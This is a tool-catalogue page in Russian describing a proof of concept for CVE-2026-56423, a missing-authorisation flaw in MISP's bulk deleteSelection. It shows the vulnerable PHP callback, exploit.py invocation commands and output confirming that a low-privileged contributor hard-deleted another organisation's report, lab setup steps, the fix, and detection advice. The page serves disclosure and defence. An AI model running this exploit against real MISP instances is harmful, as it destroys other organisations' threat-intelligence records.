Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl — PoC для CVE-2026-56423: нарушенный контроль доступа в MISP deleteSelection (CWE-862, участник жёстко удаляет Event Reports/Sharing Groups других организаций, CVSS 8.8) | Kitploit
Инструменты/GitHubGitHub/biitts/cve-2026-56423-misp-deleteselection-brokenaccesscontrol
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазведка угрозНеправильная Конфигурация
GitHubbiitts/cve-2026-56423-misp-deleteselection-brokenaccesscontrol

CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl

PoC для CVE-2026-56423: нарушенный контроль доступа в MISP deleteSelection (CWE-862, участник жёстко удаляет Event Reports/Sharing Groups других организаций, CVSS 8.8)

Репозиторий
12 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-56423 — MISP deleteSelection Нарушенный контроль доступа

Доказательство концепции для уязвимости отсутствия авторизации в механизмах массового удаления MISP для Event Reports и Sharing Groups. Обработчики deleteSelection авторизуют каждый выбранный элемент с помощью обратного вызова, который игнорирует сам элемент и возвращает глобальное разрешение роли вызывающего (perm_add / perm_sharing_group) вместо проверки владения объектом. Таким образом, малопривилегированный участник (роль "User" по умолчанию) может отправить ID/UUID отчётов, принадлежащих любой организации, и безвозвратно удалить их в рамках всего экземпляра, хотя корректно защищённое действие delete для одного объекта отклоняет точно такой же запрос.

CVECVE-2026-56423
ПродуктMISP (Malware Information Sharing Platform) core
Затрагиваемые версииMISP CE/EE ≤ 2.5.41
Исправлено в2.5.42
КлассCWE-862 — Отсутствие авторизации (нарушенный контроль доступа на уровне объектов)
CVSS 3.18.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
АутентификацияАутентифицированный, низкие привилегии (любая роль с perm_add, например "User")
Опубликовано2026-06-22
СтатусПОДТВЕРЖДЕНО — участник удаляет отчёт другой организации на 2.5.40; отклонено на 2.5.42

Коренная причина

app/Controller/EventReportsController.php (тег v2.5.40):

root@kitploit:~
public function deleteSelection($id = null)
{
    return $this->CRUD->deleteSelection($id, [
        'modelName' => 'EventReport',
        ...
        'checkModifyCallback' => function($itemId) {
            return $this->userRole['perm_add'];   // игнорирует $itemId → глобальное булево значение роли
        },
    ]);
}

CRUDComponent::deleteSelection вызывает этот checkModifyCallback для каждого выбранного идентификатора и удаляет объект, если он возвращает true:

root@kitploit:~
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }

Поскольку обратный вызов возвращает $this->userRole['perm_add'] — глобальное булево значение, которое равно true для роли "User" по умолчанию — владение целевым отчётом никогда не проверяется. Сравните с действием delete($id) для одного объекта, которое корректно вызывает EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete') и отклоняет чужие отчёты.

SharingGroupsController::deleteSelection имеет тот же дефект с использованием perm_sharing_group.

Исправление в версии 2.5.42 (коммиты ada02fa, f99b3f1) заменяет обратный вызов на пообъектную проверку EventReport::fetchIfAuthorized($user, $itemId, 'delete').

Полный разбор — в ANALYSIS.md.

Предварительные условия (честно задокументированные)

  1. Злоумышленник имеет любую учётную запись, роль которой обладает разрешением perm_add — встроенная роль User, выдаваемая обычным участникам в многопользовательских экземплярах.
  2. MISP.enable_themes = true. Действие deleteSelection защищено в ACL с помощью AND(theming_enabled, perm_add), где theming_enabled соответствует настройке MISP.enable_themes. Эта настройка выключена по умолчанию, но является обычным флагом интерфейса, включённым на многих экземплярах (она обеспечивает работу пользовательского интерфейса v2 index/list). При отключённой настройке действие возвращает HTTP 403 до запуска ошибочного обратного вызова.

Эксплойт

root@kitploit:~
python3 exploit.py https://127.0.0.1:443 \
    --attacker-key <contributor_authkey> \
    --admin-key   <admin_authkey_used_only_to_confirm_the_target> \
    --report-id   <id_of_a_report_owned_by_another_org>
root@kitploit:~
[1] contributor legit delete/2   -> HTTP 404  (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200  {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection

Воспроизведение

root@kitploit:~
cd lab
./setup.sh          # MISP core v2.5.40 + attacker org + contributor + victim report
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
    --attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"

# patched build denies the same request:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh

Граница УЯЗВИМОСТЬ/ИСПРАВЛЕНО (эмпирическая проверка)

Запрос (участник с низкими привилегиями, чужой отчёт)v2.5.40v2.5.42
корректно защищённый delete/{id}404 отклонено404 отклонено
deleteSelection того же отчёта200 — безвозвратно удалено403 — "Не удалось удалить"; отчёт сохранён

Один и тот же запрос меняется с успешного на отклонённый после исправления, а корректно защищённое удаление одного объекта отклоняется в обеих версиях — доказывая, что ошибка заключается в отсутствии пообъектной авторизации в deleteSelection, а не в неправильной настройке учётной записи. Полная запись — в EVIDENCE.txt.

Воздействие

Любой малопривилегированный пользователь на общем экземпляре MISP может безвозвратно удалить Event Reports — аналитические записи, привязанные к событиям угроз — и Sharing Groups, принадлежащие другим организациям, в масштабах всего экземпляра. Это нарушение целостности/доступности на уровне разных арендаторов платформы киберразведки, на которую полагаются CERT, ISAC и SOC.

Устранение

  • Обновите MISP до версии 2.5.42 или новее.
  • Исправление применяет EventReport::fetchIfAuthorized($user, $itemId, 'delete') для каждого выбранного элемента; аналогичный подход используется для Sharing Groups.

Обнаружение

Проверяйте журналы MISP на наличие запросов EventReports/deleteSelection (и SharingGroups/deleteSelection), в которых организация действующего пользователя отличается от организации-владельца удалённого объекта.

Авторы

Исследование и PoC от Caio Fabrício (@BiiTts).

Лицензия

MIT — см. LICENSE.

Скачать инструмент